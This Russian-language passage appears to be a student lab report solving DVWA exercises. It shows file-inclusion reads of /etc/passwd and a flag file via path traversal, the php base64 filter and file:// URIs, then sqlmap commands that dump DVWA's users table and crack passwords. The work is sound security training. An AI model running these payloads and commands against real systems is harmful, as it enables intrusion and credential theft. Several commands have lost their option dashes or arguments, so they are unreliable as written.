Для демонстрации наличия уязвимости будет предпринята попытка прочитать файл /etc/passwd с помощью параметра page равному «//////////etc/passwd». На рисунке 5.2 изображено его содержимое.
Рисунок 5.2 Содержимое файла /etc/passwd
Для того, чтобы просмотреть содержимое файла php, а не исполнить его, можно использовать механизм фильтров php. Например, можно использовать вывод файла в base64, что продемонстрировано на рисунке 5.3.
Рисунок 5.3 Использование фильтров php
На рисунке 5.4 изображено декодированное содержимое файла.
Рисунок 5.4 Содержимое файла ../hackable/flags/fi.php
6 File Inclusion High
File Inclusion уязвимость, заключающаяся в возможности использования и выполнения файлов на стороне сервера путём формирования определённого запроса к серверу.
Задание состоит в том, что необходимо прочитать содержимое файла ../hackable/flags/fi.php.
В DVWA на странице File Inclusion представлены три файла. При открытии любого файла его название отображается в строке запроса. Это означает, что GET-параметр page определяет, какой файл необходимо открыть, что изображено на рисунке 6.1.
Рисунок 6.1 Пример открытия файла
Опытным путём выяснено, что механизм фильтрации пропускает только запросы с файлом, начинающимся с «file». Для обхода такого типа фильтрации используется URI-схема file.
Для демонстрации наличия уязвимости будет предпринята попытка прочитать файл /etc/passwd. На рисунке 6.2 изображено его содержимое.
Рисунок 6.2 Содержимое файла /etc/passwd
Сервер не позволяет обращаться через File URI-scheme, используя относительные пути. Но можно предположить, что корневая директория веб-приложения /var/www/html/, так как популярные веб-серверы (Apache, Nginx) по умолчанию используют её. На рисунке 6.3 изображён вывод файла hackable/flags/fi.php. На данном уровне сложности скрытую строку посмотреть не представляется возможным, так как использование File URI-scheme не позволяет использовать фильтры языка программирования PHP внутри пути.
Рисунок 6.3 Файл hackable/flags/fi.php
7 SQL Injection Low
SQL Injection (внедрение кода SQL) атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода.
В DVWA на странице SQL Injection представлена форма ввода id пользователя, изображённая на рисунке 7.1.
Рисунок 7.1 Форма ввода
Для эксплуатации уязвимости будет использована утилита sqlmap.
На рисунке 7.2 представлена команда, запускающая сканирование: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/?id=123&Submit=Submit" cookie=security=low; PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73»».
Рисунок 7.2 Запуск сканирования
В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр id. Результаты сканирования изображены на рисунке 7.3.
Рисунок 7.3 Результаты сканирования
Далее необходимо получить список баз данных, для этого к команде добавляется ключ dbs: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/?id=123&Submit=Submit" cookie=security=low; PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73» dbs». Результаты изображены на рисунке 7.4.
Рисунок 7.4 Список баз данных
Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ tables, чтобы получить названия таблиц: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/?id=123&Submit=Submit" cookie=security=low; PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73» -D dvwa tables». Результаты изображены на рисунке 7.5.
Рисунок 7.5 Таблицы в базе dvwa
Теперь можно получить записи таблицы users. Для этого ключ tables меняется на -T users, добавляется ключ dump: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/?id=123&Submit=Submit" cookie=security=low; PHPSESSID=mp4p8kk8or3m2s7spc22ng0m73» -D dvwa -T users dump». Результаты изображены на рисунке 7.6.
Рисунок 7.6 Содержимое таблицы users
Также на скриншоте видно, что sqlmap в процессе работы нашёл пароли в открытом виде, использовав перебор по встроенному словарю.
8 SQL Injection Medium
SQL Injection (внедрение кода SQL) атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода.
В DVWA на странице SQL Injection представлена форма ввода id пользователя, изображённая на рисунке 8.1.
Рисунок 8.1 Форма ввода
Для эксплуатации уязвимости будет использована утилита sqlmap. В качестве аргумента будет передаваться файл, содержащий POST-запрос в текстовом виде. Содержимое файла представлено на рисунке 8.2.
Рисунок 8.2 Содержимое файла header. txt
На рисунке 8.3 представлена команда, запускающая сканирование: «sqlmap -r header. txt».
Рисунок 8.3 Запуск сканирования
В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр id. Результаты сканирования изображены на рисунке 8.4.
Рисунок 8.4 Результаты сканирования
Далее необходимо получить список баз данных, для этого к команде добавляется ключ dbs: «sqlmap -r header. txt dbs». Результаты изображены на рисунке 8.5.
Рисунок 8.5 Список баз данных
Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ tables, чтобы получить названия таблиц: «sqlmap -r header. txt -D dvwa tables». Результаты изображены на рисунке 8.6.
Рисунок 8.6 Таблицы в базе dvwa
Теперь можно получить записи таблицы users. Для этого ключ tables меняется на -T users, добавляется ключ dump: «sqlmap -r header. txt -D dvwa -T users dump». Результаты изображены на рисунке 8.7.
Рисунок 8.7 Содержимое таблицы users
Также на скриншоте видно, что sqlmap в процессе работы нашёл пароли в открытом виде, использовав перебор по встроенному словарю.
9 SQL Injection High
SQL Injection (внедрение кода SQL) атака, связанная с внедрением в SQL-запрос сервера к СУБД произвольного кода.
В DVWA на странице SQL Injection представлена ссылка на форму ввода id пользователя, изображённую на рисунке 9.1.
Рисунок 9.1 Форма ввода
Для эксплуатации уязвимости будет использована утилита sqlmap.
Отличительная особенность уровня ввод данных и вывод данных осуществляются на разных страницах. Для решения этой проблемы будет использоваться аргумент second-url.
На рисунке 9.2 представлена команда, запускающая сканирование: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" second-url "http://kalkt.com:8001/vulnerabilities/sqli/" data id=1&Submit=Submit cookie PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high».
Рисунок 9.2 Запуск сканирования
В ходе сканирования было выяснено, что используется СУБД MySQL, уязвимый параметр id. Результаты сканирования изображены на рисунке 9.3.
Рисунок 9.3 Результаты сканирования
Далее необходимо получить список баз данных, для этого к команде добавляется ключ dbs: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" second-url "http://kalkt.com:8001/vulnerabilities/sqli/" data id=1&Submit=Submit cookie PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high dbs». Результаты изображены на рисунке 9.4.
Рисунок 9.4 Список баз данных
Теперь можно получить список таблиц в базе dvwa. Для этого через ключ -D нужно указать БД, затем указать ключ tables, чтобы получить названия таблиц: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" second-url "http://kalkt.com:8001/vulnerabilities/sqli/" data id=1&Submit=Submit cookie PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high -D dvwa tables». Результаты изображены на рисунке 9.5.
Рисунок 9.5 Таблицы в базе dvwa
Теперь можно получить записи таблицы users. Для этого ключ tables меняется на -T users, добавляется ключ dump: «sqlmap -u "http://kalkt.com:8001/vulnerabilities/sqli/session-input.php" second-url "http://kalkt.com:8001/vulnerabilities/sqli/" data id=1&Submit=Submit cookie PHPSESSID=l6145c6k5p19go7ga5g16mh7k0; security=high -D -T users dump». Результаты изображены на рисунке 9.6.